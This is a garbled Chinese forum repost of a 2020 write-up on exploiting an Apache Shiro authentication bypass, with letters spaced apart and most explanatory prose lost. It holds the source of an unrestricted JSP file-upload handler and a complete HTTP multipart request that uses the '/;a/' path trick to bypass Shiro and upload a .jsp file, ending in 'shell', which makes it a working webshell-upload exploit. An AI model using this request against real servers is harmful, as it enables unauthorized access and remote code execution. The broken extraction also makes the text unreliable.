[28611] 2020-09-28_shiro权限绕过实战利用

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-19
2020-09-28_shiro权限绕过实战利用 s h i r o B u g h u n t e r   O t s   2 0 2 0 - 0 9 - 2 8   B u g h u n t e r 0 x 0 1   S h i r o b u r p s u i t e s h i r o S h i r o E x p l o i t d n s l o g t o m c a t 0 x 0 2  
a d m i n p l u g i n s / u p l o a d i f y / u p l o a d F i l e . j s p   < % @   p a g e   l a n g u a g e = " j a v a "   c o n t e n t T y p e = " t e x t / h t m l ;   c h a r s e t = U T F - 8 "   p a g e E n c o d i n g = " U T F - 8 " % > < % @   p a g e   i m p o r t = " j a v a . i o . * ,   j a v a . u t i l . * ,   o r g . a p a c h e . c o m m o n s . f i l e u p l o a d . * ,   j a v a . u t i l . * "   % > < % @   p a g e   i m p o r t = " o r g . a p a c h e . c o m m o n s . f i l e u p l o a d . d i s k . * ,   o r g . a p a c h e . c o m m o n s . f i l e u p l o a d . s e r v l e t . * "   % > < % !         p u b l i c   v o i d   u p l o a d ( H t t p S e r v l e t R e q u e s t   r e q u e s t ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e ) t h r o w s   S e r v l e t E x c e p t i o n ,   I O E x c e p t i o n   {                 S t r i n g   s a v e P a t h   =   t h i s . g e t S e r v l e t C o n f i g ( ) . g e t S e r v l e t C o n t e x t ( ) . g e t R e a l P a t h ( " " ) ;                 s a v e P a t h   =   s a v e P a t h   +   r e q u e s t . g e t P a r a m e t e r ( " u p l o a d P a t h " ) ;                 F i l e   f 1   =   n e w   F i l e ( s a v e P a t h ) ;                 / / u p l o a d P a t h     S y s t e m . o u t . p r i n t l n ( r e q u e s t . g e t P a r a m e t e r ( " u p l o a d P a t h " ) ) ;                 i f   ( ! f 1 . e x i s t s ( ) )   {                         f 1 . m k d i r s ( ) ;                 }                 D i s k F i l e I t e m F a c t o r y   f a c   =   n e w   D i s k F i l e I t e m F a c t o r y ( ) ;                 S e r v l e t F i l e U p l o a d   u p l o a d   =   n e w   S e r v l e t F i l e U p l o a d ( f a c ) ;                 u p l o a d . s e t H e a d e r E n c o d i n g ( " u t f - 8 " ) ;                 L i s t   f i l e L i s t   =   n u l l ;                 t r y   {                         f i l e L i s t   =   u p l o a d . p a r s e R e q u e s t ( r e q u e s t ) ;                 }   c a t c h   ( F i l e U p l o a d E x c e p t i o n   e x )   {                         r e t u r n ;                 }                 S t r i n g   f i l e N m a e   =   r e q u e s t . g e t P a r a m e t e r ( " f i l e N m a e " ) ;                 I t e r a t o r < F i l e I t e m >   i t   =   f i l e L i s t . i t e r a t o r ( ) ;                 S t r i n g   n a m e   =   " " ;                 S t r i n g   e x t N a m e   =   " " ;                 w h i l e   ( i t . h a s N e x t ( ) )   {                         F i l e I t e m   i t e m   =   i t . n e x t ( ) ;                         i f   ( ! i t e m . i s F o r m F i e l d ( ) )   {                                 n a m e   =   i t e m . g e t N a m e ( ) ;                                 l o n g   s i z e   =   i t e m . g e t S i z e ( ) ;                                 S t r i n g   t y p e   =   i t e m . g e t C o n t e n t T y p e ( ) ;                                 / / S y s t e m . o u t . p r i n t l n ( s i z e   +   "   "   +   t y p e ) ;                                 i f   ( n a m e   = =   n u l l   | |   n a m e . t r i m ( ) . e q u a l s ( " " ) )   {                                         c o n t i n u e ;
访 3 0 2 s h i r o s h i r o h t t p s : / / m p . w e i x i n . q q . c o m / s / y b 6 T b 7 z S T K K m B l c N V z 0 M B A 使 s h i r o 2 0 0                                         c o n t i n u e ;                                 }                                 / /                                   i f   ( n a m e . l a s t I n d e x O f ( " . " )   > =   0 )   {                                         e x t N a m e   =   n a m e . s u b s t r i n g ( n a m e . l a s t I n d e x O f ( " . " ) ) ;                                 }                                 F i l e   f i l e   =   n u l l ;                                 i f ( n u l l   ! =   f i l e N m a e   & &   ! " " . e q u a l s ( f i l e N m a e ) ) {                                         f i l e   =   n e w   F i l e ( s a v e P a t h   +   f i l e N m a e ) ;                                 } e l s e {                                         d o   {                                                 i f ( n u l l   ! =   f i l e N m a e   & &   ! " " . e q u a l s ( f i l e N m a e ) ) {                                                         f i l e   =   n e w   F i l e ( s a v e P a t h   +   f i l e N m a e ) ;                                                 } e l s e {                                                         n a m e   =   n e w   j a v a . t e x t . S i m p l e D a t e F o r m a t ( " y y y y M M d d h h m m s s " ) . f o r m a t ( n e w   D a t e ( ) ) ;   / /                                                         n a m e   =   n a m e   +   ( i n t ) ( M a t h . r a n d o m ( ) * 9 0 0 0 0 + 1 0 0 0 0 ) ;                                                         f i l e   =   n e w   F i l e ( s a v e P a t h   +   n a m e   +   e x t N a m e ) ;                                                 }                                         }   w h i l e   ( f i l e . e x i s t s ( ) ) ;                                 }                                 F i l e   s a v e F i l e   =   n e w   F i l e ( s a v e P a t h   +   n a m e   +   e x t N a m e ) ;                                 t r y   {                                         i t e m . w r i t e ( s a v e F i l e ) ;                                 }   c a t c h   ( E x c e p t i o n   e )   {                                         e . p r i n t S t a c k T r a c e ( ) ;                                 }                         }                 }                 r e s p o n s e . g e t W r i t e r ( ) . p r i n t ( ( n a m e . t r i m ( )   +   e x t N a m e . t r i m ( ) ) . t r i m ( ) ) ;         } % > < %         u p l o a d ( r e q u e s t ,   r e s p o n s e ) ; % > / ; a / p l u g i n s / u p l o a d i f y / u p l o a d F i l e . j s p
r e q u e s t . g e t P a r a m e t e r ( " u p l o a d P a t h " ) ; m u l t i p a r t P O S T   / ; a / p l u g i n s / u p l o a d i f y / u p l o a d F i l e . j s p ? u p l o a d P a t h = / p l u g i n s / u p l o a d i f y /   H T T P / 1 . 1 C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y Q D e B i V q f e 6 p 3 F M n J - - - - - - W e b K i t F o r m B o u n d a r y Q D e B i V q f e 6 p 3 F M n J C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " i m g F i l e " ;   f i l e n a m e = " 2 2 0 4 2 4 9 . j s p " C o n t e n t - T y p e :   i m a g e / j p e g t e s t - - - - - - W e b K i t F o r m B o u n d a r y Q D e B i V q f e 6 p 3 F M n J - -
s h e l l
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则